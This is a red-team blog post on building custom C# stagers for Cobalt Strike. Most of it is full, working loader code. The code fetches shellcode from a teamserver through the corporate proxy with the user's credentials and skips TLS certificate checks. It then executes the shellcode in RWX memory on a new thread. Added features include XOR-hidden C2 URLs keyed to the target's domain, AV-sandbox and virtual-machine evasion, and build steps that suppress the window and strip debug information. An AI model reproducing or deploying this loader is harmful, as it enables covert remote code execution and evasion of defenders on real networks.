C# Cobalt Strike stagers
Some time ago, I found an interesting Github repository StageStrike It contains sample C and C# code for Cobalt Strike stagers. In this post, I will use a C# version and add some features - that are useful during engagement - corporate proxy support, connection retries, basic environment keying, and virtual machine detection.
How it works?
First, let’s see how it works - the idea is pretty simple - the code needs to
connect to the staging URL, download data returned by Cobalt Strike listener, and execute downloaded shellcode (preferably everything happens in-memory, without touching a disk to make AV detection harder).
Sample http-stager
definition in Cobalt Strike profile:
http-stager {
set uri_x86 "/download/update32.bin"
set uri_x64 "/download/update64.bin"
server {
header "Cache-Control" "private, max-age=0";
header "Content-type" "text/html; charset=utf-8";
header "Server" "nginx/1.14.0 (Ubuntu)";
header "Connection" "close";
}
client {
header "Accept-language" "en-US,en;q=0.5";
header "Accept-Encoding" "gzip, deflate";
}
}
Such a profile is uncomplicated, it doesn’t require any special headers or tokens from the client, and it doesn’t add anything to the response - for example, magic bytes to hide shellcode in images, etc. It makes the implementation of the stager simpler. There is no need to add anything to the request nor process the response - only download and run the shellcode. In a real-world scenario, you will need a more advanced profile. Ideally, it should change between exercises - to avoid detection and make blue team life harder.
Basic stager with proxy authentication
The first thing we are going to add is proxy support. We want our code to be able to authenticate on corporate web proxies with current user credentials automatically.
It is a pretty easy task in C#. First, we need to tell the Web Client to use
credentials of currently logged-in user by setting a UseDefaultCredentials
property to true
the code looks like that:
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
webClient.UseDefaultCredentials = true;
dataBuffer = webClient.DownloadData(Url);
}
For testing purposes, I will also configure the Web Client to skip SSL certificate validation and enable TLS 1.2 support. Depending on your configuration, you can keep or remove this code in the final version:
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
dataBuffer = webClient.DownloadData(Url);
}
The next thing I will add is connection-retries - stager will try to connect to the Teamserver - if the connection attempt fails, it will sleep for twenty seconds and try again. There will be three connection attempts - then the program will exit. The code of our basic Cobalt Strike stager:
using System;
using System.Net;
using System.Net.Security;
using System.Runtime.InteropServices;
using System.Threading;
namespace Stager
{
class Program
{
//WinAPI imports
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
static void Main()
{
int retries = 0;
// TODO: put CS stagging Url here
string Url = "hXXps://example-cobalt-strike.url/";
while (retries < 3)
{
try
{
byte[] dataBuffer;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
dataBuffer = webClient.DownloadData(Url);
}
//Alloc the memory with the right flags
IntPtr stageBuf = VirtualAlloc(IntPtr.Zero, (uint)dataBuffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//Copy stage from Managed to Unmanaged MemoryBuffer
Marshal.Copy(dataBuffer, 0, stageBuf, dataBuffer.Length);
//Create a new thread named beacon
IntPtr beacon = CreateThread(IntPtr.Zero, 0, stageBuf, IntPtr.Zero, 0, IntPtr.Zero);
//Keep the thread running forever
WaitForSingleObject(beacon, 0xFFFFFFFF);
}
catch { }
retries++;
Thread.Sleep(20000);
}
}
}
}
Basic environment keying
While executing red teams, you should avoid a situation when your dropper by accident established a session from a non-client system. For example, someone opened it on a private computer or somehow downloaded an executable from your phishing site and started it (you shouldn’t serve malware to anyone visiting your phishing site anyway).
The other goal you may want to achieve is to hide some data like URLs of your C&C servers/redirectors from malware analysts to delay blocking your campaign.
It is also useful when dealing with Antivirus sandboxes - your malware won’t run on the sandbox.
A piece of information that usually can be easily collected is a client domain name (especially during internal red teams). Dropper code will implement rudimentary domain whitelisting. If it is, started on the computer with the allowed AD domain - it will try to connect to the Teamserver - otherwise, it will exit. It is just a simple example. You can use many different characteristics of the environment, and it heavily depends on the information you have about the target.
Detecting domain
Basic code used to check domain name of the host:
string allowedHostDomain = "example.com";
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
string dnsDomain = properties.DomainName;
if (allowedHostDomain != dnsDomain)
{
Thread.Sleep(5000);
return;
}
It reads a domain name from IPGlobalProperties
object, then comparing it with a hardcoded domain. When those two don’t match, the program will sleep for five seconds and exit.
The problem with this code is that it doesn’t hide anything, both staging URL and allowed domain are strings. To resolve this issue, we will use a simple XOR operation. The code below takes two-byte arrays - data and a key and performs an XOR operation:
public static byte[] XOR(byte[] data, byte[] key)
{
int dataLen = data.Length;
int keyLen = key.Length;
byte[] output = new byte[dataLen];
for (int i = 0; i < dataLen; ++i)
{
output[i] = (byte)(data[i] ^ key[i % keyLen]);
}
return output;
}
The entire program, including basic environment keying, is available below:
using System;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Stager
{
class Program
{
//WinAPI imports
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static byte[] XOR(byte[] data, byte[] key)
{
int dataLen = data.Length;
int keyLen = key.Length;
byte[] output = new byte[dataLen];
for (int i = 0; i < dataLen; ++i)
{
output[i] = (byte)(data[i] ^ key[i % keyLen]);
}
return output;
}
static void Main()
{
IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();
string dnsDomain = properties.DomainName;
int retries = 0;
byte[] k = Encoding.ASCII.GetBytes(dnsDomain);
byte[] d = Convert.FromBase64String("");
string Url = "";
try
{
Url = Encoding.ASCII.GetString(XOR(d, k));
}
catch
{
Thread.Sleep(5000);
return;
}
while (retries < 3)
{
try
{
byte[] dataBuffer;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
dataBuffer = webClient.DownloadData(Url);
}
//Alloc the memory with the right flags
IntPtr stageBuf = VirtualAlloc(IntPtr.Zero, (uint)dataBuffer.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//Copy stage from Managed to Unmanaged MemoryBuffer
Marshal.Copy(dataBuffer, 0, stageBuf, dataBuffer.Length);
//Create a new thread named beacon
IntPtr beacon = CreateThread(IntPtr.Zero, 0, stageBuf, IntPtr.Zero, 0, IntPtr.Zero);
//Keep the thread running forever
WaitForSingleObject(beacon, 0xFFFFFFFF);
}
catch { }
retries++;
Thread.Sleep(20000);
}
}
}
}
To generate a value of the data variable, use a simple C# program:
using System;
using System.Text;
namespace TestApp1
{
class Program
{
public static byte[] XOR(byte[] data, byte[] key)
{
int dataLen = data.Length;
int keyLen = key.Length;
byte[] output = new byte[dataLen];
for (int i = 0; i < dataLen; ++i)
{
output[i] = (byte)(data[i] ^ key[i % keyLen]);
}
return output;
}
static void Main(string[] args)
{
String Url = "<TEAMSERVER-URL>";
String Domain = "<TARGET-ENVIRONMENT-DOMAIN-NAME>";
String B64 = Convert.ToBase64String(XOR(Encoding.ASCII.GetBytes(Url), Encoding.ASCII.GetBytes(Domain)));
Console.WriteLine(B64);
}
}
}
Virtual Machine detection
Simple virtual detection will take the Manufacturer
property of
Win32_ComputerSystem
and compare it with some known virtualization
software.
private static bool IsVirtualMachine()
{
using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
{
using (var items = searcher.Get())
{
foreach (var item in items)
{
string manufacturer = item["Manufacturer"].ToString().ToLower();
if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL"))
|| manufacturer.Contains("vmware")
|| manufacturer.Contains("xen")
|| item["Model"].ToString() == "VirtualBox")
{
return true;
}
}
}
}
return false;
}
Building
The last required thing is to build the stager. There are a couple of
things that are worth considering. First, I don’t want to attach any debugging information to the output binary, so I will disable it in Visual Studio build settings (enabled by default). To do this, I’m setting
“Debugging information” to “None” on “Advanced Build Settings”:
Another thing is to set up assembly information such as title, description,
the company, product, etc.
It is necessary to select “Output type” to “Windows Application” not to “Console Application” - I don’t want to display any window when the application starts.
The last thing to consider is architecture. It depends on the target environment, and it should be the same as the shellcode from Cobalt Strike staging URL. Generally speaking, 32 bit is safer as it will run anywhere, so if I’m not sure about the target CPU architecture, I’m compiling it as 32bit and use the same CS stager URL.
Wrapping-up
This post covers the basics of creating custom stagers for Cobalt Strike, probably, most mature red teams already have their tools, but for the ones looking for inspiration or information on how to create such tools I hope this post will be informative.
References
StageStrike
Arno0x CSharpScripts
Offensive P/Invoke: Leveraging the Win32 API from Managed Code
SharpSploit
XOR - Programming Algorithms